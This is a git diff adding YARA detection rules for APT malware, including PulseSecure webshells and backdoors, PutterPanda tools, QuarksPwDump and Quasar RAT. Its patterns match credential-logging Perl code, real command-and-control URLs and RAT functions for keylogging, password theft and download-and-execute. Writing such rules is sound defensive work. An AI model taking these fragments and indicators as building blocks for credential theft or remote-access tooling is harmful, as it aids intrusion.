+        $s5 = /listen[\x09\x20]{0,32}\([\x09\x20]{0,32}SERVER[\x09\x20]{0,32},[\x09\x20]{0,32}SOMAXCONN[\x09\x20]{0,32}\)[\x09\x20]{0,32};/ 
+        $s6 = /my[\x09\x20]{1,32}\$\w{1,64}[\x09\x20]{0,32}=[\x09\x20]{0,32}fork\([\x09\x20]{0,32}\)[\x09\x20]{0,32};\s{1,128}if[\x09\x20]{0,32}\([\x09\x20]{0,32}\$\w{1,64}[\x09\x20]{0,32}==[\x09\x20]{0,32}0[\x09\x20]{0,32}\)[\x09\x20]{0,32}\{\s{1,128}exec\(/ 
+    condition: 
+        all of them 
+} 
+rule FE_APT_Trojan_PL_RADIALPULSE_1 
+{
+    meta: 
+        author = "Mandiant" 
+        date = "2021-04-16"       
+        sha256 = "d72daafedf41d484f7f9816f7f076a9249a6808f1899649b7daa22c0447bb37b"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"        
+        id = "1fab6d2f-96e8-5def-a93e-2bddd04e7ec8"
+    strings: 
+        $s1 = "->getRealmInfo()->{name}" 
+        $s2 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>/ 
+        $s3 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]realm=\$/ 
+        $s4 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]username=\$/ 
+        $s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27]password=\$/ 
+    condition: 
+        (@s1[1] < @s2[1]) and (@s2[1] < @s3[1]) and $s4 and $s5 
+} 
+rule FE_APT_Trojan_PL_RADIALPULSE_2 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date = "2021-04-16"       
+        hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "dc941935-aec7-54b6-a278-f1453b9785df"
+    strings: 
+        $s1 = "open(*fd," 
+        $s2 = "syswrite(*fd," 
+        $s3 = "close(*fd);" 
+        $s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/[\w.]{1,128}[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/ 
+        $s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$\w{1,128} ?[\x22\x27],[\x09\x20]{0,32}5000\)/ 
+    condition: 
+        all of them 
+} 
+rule FE_APT_Trojan_PL_RADIALPULSE_3 
+{ 
+    meta: 
+        author = "Mandiant"  
+        date = "2021-04-16"  
+        hash = "4a2a7cbc1c8855199a27a7a7b51d0117"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"
+        id = "8a597521-c873-5bcc-85e6-5a0a061fffb7"
+    strings: 
+        $s1 = "open(*fd," 
+        $s2 = "syswrite(*fd," 
+        $s3 = "close(*fd);" 
+        $s4 = /open\(\*fd,[\x09\x20]{0,32}[\x22\x27]>>\/tmp\/dsstartssh\.statementcounters[\x22\x27]\);[\x09\x20]{0,32}syswrite\(\*fd,[\x09\x20]{0,32}/ 
+        $s5 = /syswrite\(\*fd,[\x09\x20]{0,32}[\x22\x27][\w]{1,128}=\$username ?[\x22\x27],[\x09\x20]{0,32}\d{4}\)/ 
+    condition: 
+        all of them 
+} 
+rule FE_APT_Backdoor_Linux32_SLOWPULSE_1 
+{ 
+    meta: 
+        author = "Mandiant" 
+        date = "2021-04-16"
+        sha256 = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"        
+        id = "dd35257f-5b6f-55a6-a709-873ded1f4b72"
+    strings: 
+        $sb1 = {FC b9 [4] e8 00 00 00 00 5? 8d b? [4] 8b} 
+        $sb2 = {f3 a6 0f 85 [4] b8 03 00 00 00 5? 5? 5?} 
+        $sb3 = {9c 60 e8 00 00 00 00 5? 8d [5] 85 ?? 0f 8?} 
+        $sb4 = {89 13 8b 51 04 89 53 04 8b 51 08 89 53 08} 
+        $sb5 = {8d [5] b9 [4] f3 a6 0f 8?} 
+    condition: 
+        ((uint32(0) == 0x464c457f) and (uint8(4) == 1)) and all of them 
+}
+
+/* TOO SLOW 
+rule FE_APT_Backdoor_Linux32_SLOWPULSE_2
+{ 
+    meta: 
+        author = "Strozfriedberg" 
+        date = "2021-04-16"
+        sha256 = "cd09ec795a8f4b6ced003500a44d810f49943514e2f92c81ab96c33e1c0fbd68"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"        
+    strings: 
+        $sig = /[\x20-\x7F]{16}([\x20-\x7F\x00]+)\x00.{1,32}\xE9.{3}\xFF\x00+[\x20-\x7F][\x20-\x7F\x00]{16}/ 
+
+        // TOI_MAGIC_STRING 
+        $exc1 = /\xED\xC3\x02\xE9\x98\x56\xE5\x0C/ 
+    condition:
+        uint32(0) == 0x464C457F and (1 of ($sig*)) and (not (1 of ($exc*)))
+}
+*/
+
+rule FE_APT_Webshell_PL_STEADYPULSE_1
+{  
+    meta:  
+        author = "Mandiant"  
+        date = "2021-04-16"      
+        sha256 = "168976797d5af7071df257e91fcc31ce1d6e59c72ca9e2f50c8b5b3177ad83cc"
+        description = "Detects samples mentioned in PulseSecure report"
+        reference = "https://www.fireeye.com/blog/threat-research/2021/04/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day.html"     
+        id = "49457fbb-9288-565f-909d-e8228c21c1e4"
+    strings:  
+        $s1 = "parse_parameters" 
+        $s2 = "s/\\+/ /g"  
+        $s3 = "s/%(..)/pack("  
+        $s4 = "MIME::Base64::encode($"  
+        $s5 = "$|=1;" 
+        $s6 = "RC4(" 
+        $s7 = "$FORM{'cmd'}" 
+    condition:  
+        all of them  
+}
\ No newline at end of file
diff --git a/yara-Neo23x0/apt_putterpanda.yar b/yara-Neo23x0/apt_putterpanda.yar
new file mode 100644
index 0000000..29d9d37
--- /dev/null
+++ b/yara-Neo23x0/apt_putterpanda.yar
@@ -0,0 +1,276 @@
+rule APT_Malware_PutterPanda_Rel {
+	meta:
+		description = "Detects an APT malware related to PutterPanda"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "5367e183df155e3133d916f7080ef973f7741d34"
+		id = "980922cb-edfb-50ab-a102-a8168aa2b0e0"
+	strings:
+		$x0 = "app.stream-media.net" fullword ascii /* score: '12.03' */
+		$x1 = "File %s does'nt exist or is forbidden to acess!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.035' */
+
+		$s6 = "GetProcessAddresss of pHttpQueryInfoA Failed!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '32.02' */
+		$s7 = "Connect %s error!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.04' */
+		$s9 = "Download file %s successfully!" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.03' */
+		$s10 = "index.tmp" fullword ascii /* score: '14.03' */
+		$s11 = "Execute PE Successfully" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.03' */
+		$s13 = "aa/22/success.xml" fullword ascii /* score: '12.005' */
+		$s16 = "aa/22/index.asp" fullword ascii /* score: '11.02' */
+		$s18 = "File %s a Non-Pe File" fullword ascii /* score: '8.04' */
+		$s19 = "SendRequset error!" fullword ascii /* score: '8.04' */
+		$s20 = "filelist[%d]=%s" fullword ascii /* score: '7.015' */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) ) or ( 4 of ($s*) )
+}
+
+
+rule APT_Malware_PutterPanda_Rel_2 {
+	meta:
+		description = "APT Malware related to PutterPanda Group"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "f97e01ee04970d1fc4d988a9e9f0f223ef2a6381"
+		id = "3eef8869-45d6-57a4-a182-c5349b034cf4"
+	strings:
+		$s0 = "http://update.konamidata.com/test/zl/sophos/td/result/rz.dat?" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s1 = "http://update.konamidata.com/test/zl/sophos/td/index.dat?" fullword ascii /* PEStudio Blacklist: strings */ /* score: '28.01' */
+		$s2 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii /* PEStudio Blacklist: agent */ /* score: '20.03' */
+		$s3 = "Internet connect error:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.035' */
+		$s4 = "Proxy-Authorization:Basic" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.02' */
+		$s5 = "HttpQueryInfo failed:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.015' */
+		$s6 = "read file error:%d" fullword ascii /* score: '11.04' */
+		$s7 = "downdll.dll" fullword ascii /* score: '11.025' */
+		$s8 = "rz.dat" fullword ascii /* score: '10.005' */
+		$s9 = "Invalid url" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.03' */
+		$s10 = "Create file failed" fullword ascii /* score: '8.045' */
+		$s11 = "myAgent" fullword ascii /* score: '8.025' */
+		$s12 = "%s%s%d%d" fullword ascii /* score: '8.005' */
+		$s13 = "down file success" fullword ascii /* score: '7.035' */
+		$s15 = "error!" fullword ascii /* score: '6.04' */
+		$s18 = "Avaliable data:%u bytes" fullword ascii /* score: '5.025' */
+	condition:
+		uint16(0) == 0x5a4d and 6 of them
+}
+
+rule APT_Malware_PutterPanda_PSAPI {
+	meta:
+		description = "Detects a malware related to Putter Panda"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "f93a7945a33145bb6c106a51f08d8f44eab1cdf5"
+		id = "e074ab8a-2ca4-579e-aaef-cdfb9c64b21b"
+	strings:
+		$s0 = "LOADER ERROR" fullword ascii /* PEStudio Blacklist: strings */ /* score: '12.03' */
+		$s1 = "The procedure entry point %s could not be located in the dynamic link library %s" fullword ascii /* PEStudio Blacklist: strings */ /* score: '8.045' */
+		$s2 = "psapi.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 54 times */
+		$s3 = "urlmon.dll" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 471 times */
+		$s4 = "WinHttpGetProxyForUrl" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 179 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 300KB and all of them
+}
+
+rule APT_Malware_PutterPanda_WUAUCLT {
+	meta:
+		description = "Detects a malware related to Putter Panda"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "fd5ca5a2d444865fa8320337467313e4026b9f78"
+		id = "5c8e0629-b5f2-5933-8c74-c49b756aaf18"
+	strings:
+		$x0 = "WUAUCLT.EXE" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		$x1 = "%s\\tmp%d.exe" fullword ascii /* score: '14.01' */
+		$x2 = "Microsoft Corporation. All rights reserved." fullword wide /* score: '8.04' */
+
+		$s1 = "Microsoft Windows Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 4 times */
+		$s2 = "InternetQueryOptionA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 166 times */
+		$s3 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 336 times */
+		$s4 = "WNetEnumResourceA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 29 times */
+		$s5 = "HttpSendRequestExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 87 times */
+		$s6 = "PSAPI.DLL" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 420 times */
+		$s7 = "Microsoft(R) Windows(R) Operating System" fullword wide /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 128 times */
+		$s8 = "CreatePipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 222 times */
+		$s9 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5' */ /* Goodware String - occured 410 times */
+	condition:
+		all of ($x*) or
+		(1 of ($x*) and all of ($s*) )
+}
+
+rule APT_Malware_PutterPanda_Gen1 {
+	meta:
+		description = "Detects a malware "
+		author = "YarGen Rule Generator"
+		reference = "not set"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "bf1d385e637326a63c4d2f253dc211e6a5436b6a"
+		hash1 = "76459bcbe072f9c29bb9703bc72c7cd46a692796"
+		hash2 = "e105a7a3a011275002aec4b930c722e6a7ef52ad"
+		id = "5e7910e7-3f33-50fb-a87f-bf0bbf8a2797"
+	strings:
+		$s1 = "%s%duserid=%dthreadid=%dgroupid=%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '22.02' */
+		$s2 = "ssdpsvc.dll" fullword ascii /* score: '11.00' */
+		$s3 = "Fail %s " fullword ascii /* score: '10.04' */
+		$s4 = "%s%dpara1=%dpara2=%dpara3=%d" fullword ascii /* score: '10.01' */
+		$s5 = "LsaServiceInit" fullword ascii /* score: '7.03' */
+		$s6 = "%-8d Fs %-12s Bs " fullword ascii /* score: '5.04' */
+		$s7 = "Microsoft DH SChannel Cryptographic Provider" fullword ascii /* PEStudio Blacklist: strings */ /* score: '5.00' */ /* Goodware String - occured 5 times */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 1000KB and 5 of them
+}
+
+rule Malware_MsUpdater_String_in_EXE {
+	meta:
+		description = "MSUpdater String in Executable"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 50
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b1a2043b7658af4d4c9395fa77fde18ccaf549bb"
+		id = "c7da9e1e-3a8d-54b6-b102-0e1095d99cc4"
+	strings:
+		$x1 = "msupdate.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		// $x2 = "msupdate" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.01' */
+		$x3 = "msupdater.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '20.02' */
+		$x4 = "msupdater32.exe" fullword ascii
+		$x5 = "msupdater32.exe" fullword wide
+		$x6 = "msupdate.pif" fullword ascii
+
+		$fp1 = "_msupdate_" wide /* False Positive */
+		$fp2 = "_msupdate_" ascii /* False Positive */
+		$fp3 = "/kies" wide
+	condition:
+		uint16(0) == 0x5a4d and filesize < 500KB and ( 1 of ($x*) ) and not ( 1 of ($fp*) )
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_3 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "464149ff23f9c7f4ab2f5cadb76a4f41f969bed0"
+		id = "917ab081-ee91-5eda-82eb-4731563a1933"
+	strings:
+		$s0 = "msupdater.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '20.02' */
+		$s1 = "Explorer.exe \"" fullword ascii /* PEStudio Blacklist: strings */ /* score: '16.05' */
+		$s2 = "FAVORITES.DAT" fullword ascii /* score: '11.02' */
+		$s4 = "COMSPEC" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.82' */ /* Goodware String - occured 178 times */
+	condition:
+		uint16(0) == 0x5a4d and 3 of them
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_1 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "b55072b67543f58c096571c841a560c53d72f01a"
+		id = "3c65b668-52c2-5cd5-ba02-4f190e08d46c"
+	strings:
+		$x0 = "msupdate.exe" fullword wide /* PEStudio Blacklist: strings */ /* score: '20.01' */
+		$x1 = "msupdate" fullword wide /* PEStudio Blacklist: strings */ /* score: '13.01' */
+
+		$s1 = "Microsoft Corporation. All rights reserved." fullword wide /* score: '8.04' */
+		$s2 = "Automatic Updates" fullword wide /* PEStudio Blacklist: strings */ /* score: '4.98' */ /* Goodware String - occured 22 times */
+		$s3 = "VirtualProtectEx" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.93' */ /* Goodware String - occured 68 times */
+		$s4 = "Invalid parameter" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.93' */ /* Goodware String - occured 69 times */
+		$s5 = "VirtualAllocEx" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 95 times */
+		$s6 = "WriteProcessMemory" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.87' */ /* Goodware String - occured 131 times */
+	condition:
+		( uint16(0) == 0x5a4d and 1 of ($x*) and 4 of ($s*) ) or
+		( 1 of ($x*) and all of ($s*) )
+}
+
+rule APT_Malware_PutterPanda_MsUpdater_2 {
+	meta:
+		description = "Detects Malware related to PutterPanda - MSUpdater"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		hash = "365b5537e3495f8ecfabe2597399b1f1226879b1"
+		id = "e9188a14-5c0c-551c-bdca-9f770f42935a"
+	strings:
+		$s0 = "winsta0\\default" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.99' */ /* Goodware String - occured 6 times */
+		$s1 = "EXPLORER.EXE" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.98' */ /* Goodware String - occured 22 times */
+		$s2 = "WNetEnumResourceA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.97' */ /* Goodware String - occured 29 times */
+		$s3 = "explorer.exe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.97' */ /* Goodware String - occured 31 times */
+		$s4 = "CreateProcessAsUserA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 86 times */
+		$s5 = "HttpSendRequestExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 87 times */
+		$s6 = "HttpEndRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.91' */ /* Goodware String - occured 91 times */
+		$s7 = "GetModuleBaseNameA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.88' */ /* Goodware String - occured 121 times */
+		$s8 = "GetModuleFileNameExA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.86' */ /* Goodware String - occured 144 times */
+		$s9 = "HttpSendRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.85' */ /* Goodware String - occured 154 times */
+		$s10 = "HttpOpenRequestA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.84' */ /* Goodware String - occured 159 times */
+		$s11 = "InternetConnectA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.82' */ /* Goodware String - occured 183 times */
+		$s12 = "Process32Next" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.80' */ /* Goodware String - occured 204 times */
+		$s13 = "Process32First" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.79' */ /* Goodware String - occured 210 times */
+		$s14 = "CreatePipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.78' */ /* Goodware String - occured 222 times */
+		$s15 = "EnumProcesses" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.73' */ /* Goodware String - occured 273 times */
+		$s16 = "LookupPrivilegeValueA" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.66' */ /* Goodware String - occured 336 times */
+		$s17 = "PeekNamedPipe" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.65' */ /* Goodware String - occured 347 times */
+		$s18 = "EnumProcessModules" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.59' */ /* Goodware String - occured 410 times */
+		$s19 = "PSAPI.DLL" fullword ascii /* PEStudio Blacklist: strings */ /* score: '4.58' */ /* Goodware String - occured 420 times */
+		$s20 = "SPSSSQ" fullword ascii /* score: '4.51' */
+	condition:
+		uint16(0) == 0x5a4d and filesize < 220KB and all of them
+}
+
+rule APT_Malware_PutterPanda_Gen4 {
+	meta:
+		description = "Detects Malware related to PutterPanda"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		score = 70
+		reference = "VT Analysis"
+		date = "2015-06-03"
+		super_rule = 1
+		hash0 = "71a8378fa8e06bcf8ee9f019c807c6bfc58dca0c"
+		hash1 = "8fdd6e5ed9d69d560b6fdd5910f80e0914893552"
+		hash2 = "3c4a762175326b37035a9192a981f7f4cc2aa5f0"
+		hash3 = "598430b3a9b5576f03cc4aed6dc2cd8a43324e1e"
+		hash4 = "6522b81b38747f4aa09c98fdaedaed4b00b21689"
+		id = "0b6ce725-6932-5432-acd5-ee3593ac7bd8"
+	strings:
+		$x1 = "rz.dat" fullword ascii /* score: '10.00' */
+
+		$s0 = "Mozilla/4.0 (Compatible; MSIE 6.0;)" fullword ascii /* PEStudio Blacklist: agent */ /* score: '20.03' */
+		$s1 = "Internet connect error:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.04' */
+		$s2 = "Proxy-Authorization:Basic " fullword ascii /* PEStudio Blacklist: strings */ /* score: '14.02' */
+		$s5 = "Invalid url" fullword ascii /* PEStudio Blacklist: strings */ /* score: '9.03' */
+		$s6 = "Create file failed" fullword ascii /* score: '8.04' */
+		$s7 = "myAgent" fullword ascii /* score: '8.03' */
+
+		$z1 = "%s%s%d%d" fullword ascii /* score: '8.00' */
+		$z2 = "HttpQueryInfo failed:%d" fullword ascii /* PEStudio Blacklist: strings */ /* score: '13.02' */
+		$z3 = "read file error:%d" fullword ascii /* score: '11.04' */
+		$z4 = "down file success" fullword ascii /* score: '7.04' */
+		$z5 = "kPStoreCreateInstance" fullword ascii /* score: '5.03' */
+		$z6 = "Avaliable data:%u bytes" fullword ascii /* score: '5.03' */
+		$z7 = "abe2869f-9b47-4cd9-a358-c22904dba7f7" fullword ascii /* PEStudio Blacklist: guid */ /* score: '5.00' */ /* Goodware String - occured 2 times */
+	condition:
+		filesize < 300KB and
+		(
+			( uint16(0) == 0x5a4d and $x1 and 3 of ($s*) ) or
+			( 3 of ($s*) and 4 of ($z*) )
+		)
+}
diff --git a/yara-Neo23x0/apt_quarkspwdump.yar b/yara-Neo23x0/apt_quarkspwdump.yar
new file mode 100644
index 0000000..c7e9077
--- /dev/null
+++ b/yara-Neo23x0/apt_quarkspwdump.yar
@@ -0,0 +1,24 @@
+
+rule QuarksPwDump_Gen {
+	meta:
+		description = "Detects all QuarksPWDump versions"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		date = "2015-09-29"
+		score = 80
+		hash1 = "2b86e6aea37c324ce686bd2b49cf5b871d90f51cec24476daa01dd69543b54fa"
+		hash2 = "87e4c76cd194568e65287f894b4afcef26d498386de181f568879dde124ff48f"
+		hash3 = "a59be92bf4cce04335bd1a1fcf08c1a94d5820b80c068b3efe13e2ca83d857c9"
+		hash4 = "c5cbb06caa5067fdf916e2f56572435dd40439d8e8554d3354b44f0fd45814ab"
+		hash5 = "677c06db064ee8d8777a56a641f773266a4d8e0e48fbf0331da696bea16df6aa"
+		hash6 = "d3a1eb1f47588e953b9759a76dfa3f07a3b95fab8d8aa59000fd98251d499674"
+		hash7 = "8a81b3a75e783765fe4335a2a6d1e126b12e09380edc4da8319efd9288d88819"
+		id = "7de4f59e-6cf5-5ad7-ae1f-8532d9e80c9e"
+	strings:
+		$s1 = "OpenProcessToken() error: 0x%08X" fullword ascii
+		$s2 = "%d dumped" fullword ascii
+		$s3 = "AdjustTokenPrivileges() error: 0x%08X" fullword ascii
+		$s4 = "\\SAM-%u.dmp" ascii
+	condition:
+		all of them
+}
diff --git a/yara-Neo23x0/apt_quasar_rat.yar b/yara-Neo23x0/apt_quasar_rat.yar
new file mode 100644
index 0000000..1ba728c
--- /dev/null
+++ b/yara-Neo23x0/apt_quasar_rat.yar
@@ -0,0 +1,89 @@
+/*
+   Yara Rule Set
+   Author: Florian Roth
+   Date: 2017-04-07
+   Identifier: Quasar RAT
+*/
+
+/* Rule Set ----------------------------------------------------------------- */
+
+rule Quasar_RAT_1 {
+   meta:
+      description = "Detects Quasar RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+      date = "2017-04-07"
+      hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
+      hash2 = "1ce40a89ef9d56fd32c00db729beecc17d54f4f7c27ff22f708a957cd3f9a4ec"
+      hash3 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
+      hash4 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
+      id = "36220de3-aa1a-5c34-adae-432d939c811e"
+   strings:
+      $s1 = "DoUploadAndExecute" fullword ascii
+      $s2 = "DoDownloadAndExecute" fullword ascii
+      $s3 = "DoShellExecute" fullword ascii
+      $s4 = "set_Processname" fullword ascii
+
+      $op1 = { 04 1e fe 02 04 16 fe 01 60 }
+      $op2 = { 00 17 03 1f 20 17 19 15 28 }
+      $op3 = { 00 04 03 69 91 1b 40 }
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and all of ($s*) or all of ($op*) )
+}
+
+rule Quasar_RAT_2 {
+   meta:
+      description = "Detects Quasar RAT"
+      license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf"
+      date = "2017-04-07"
+      super_rule = 1
+      hash1 = "0774d25e33ca2b1e2ee2fafe3fdbebecefbf1d4dd99e6460f0bc8713dd0fd740"
+      hash2 = "515c1a68995557035af11d818192f7866ef6a2018aa13112fefbe08395732e89"
+      hash3 = "f08db220df716de3d4f63f3007a03f902601b9b32099d6a882da87312f263f34"
+      id = "0ca795c5-3631-5a99-8675-37558485f478"
+   strings:
+      $x1 = "GetKeyloggerLogsResponse" fullword ascii
+      $x2 = "get_Keylogger" fullword ascii
+      $x3 = "HandleGetKeyloggerLogsResponse" fullword ascii
+
+      $s1 = "DoShellExecuteResponse" fullword ascii
+      $s2 = "GetPasswordsResponse" fullword ascii
+      $s3 = "GetStartupItemsResponse" fullword ascii
+      $s4 = "<GetGenReader>b__7" fullword ascii
+      $s5 = "RunHidden" fullword ascii
+   condition:
+      ( uint16(0) == 0x5a4d and filesize < 5000KB and $x1 ) or ( all of them )
+}
+
+rule MAL_QuasarRAT_May19_1 {
+   meta:
+      description = "Detects QuasarRAT malware"
+      author = "Florian Roth (Nextron Systems)"
+      reference = "https://blog.ensilo.com/uncovering-new-activity-by-apt10"
+      date = "2019-05-27"
+      modified = "2023-01-06"
+      hash1 = "0644e561225ab696a97ba9a77583dcaab4c26ef0379078c65f9ade684406eded"
+      id = "a4e82b6a-31f8-59fc-acfa-805c4594680a"
+   strings:
+      $x1 = "Quasar.Common.Messages" ascii fullword
+      $x2 = "Client.MimikatzTools" ascii fullword
+      $x3 = "Resources.powerkatz_x86.dll" ascii fullword
+      $x4 = "Uninstalling... good bye :-(" wide
+
+      $xc1 = { 41 00 64 00 6D 00 69 00 6E 00 00 11 73 00 63 00
+               68 00 74 00 61 00 73 00 6B 00 73 00 00 1B 2F 00
+               63 00 72 00 65 00 61 00 74 00 65 00 20 00 2F 00
+               74 00 6E 00 20 00 22 00 00 27 22 00 20 00 2F 00
+               73 }
+      $xc2 = { 00 70 00 69 00 6E 00 67 00 20 00 2D 00 6E 00 20
+               00 31 00 30 00 20 00 6C 00 6F 00 63 00 61 00 6C
+               00 68 00 6F 00 73 00 74 00 20 00 3E 00 20 00 6E
+               00 75 00 6C 00 0D 00 0A 00 64 00 65 00 6C 00 20
+               00 2F 00 61 00 20 00 2F 00 71 00 20 00 2F 00 66
+               00 20 00 }
+   condition:
+      uint16(0) == 0x5a4d and filesize < 10000KB and 1 of them
+}
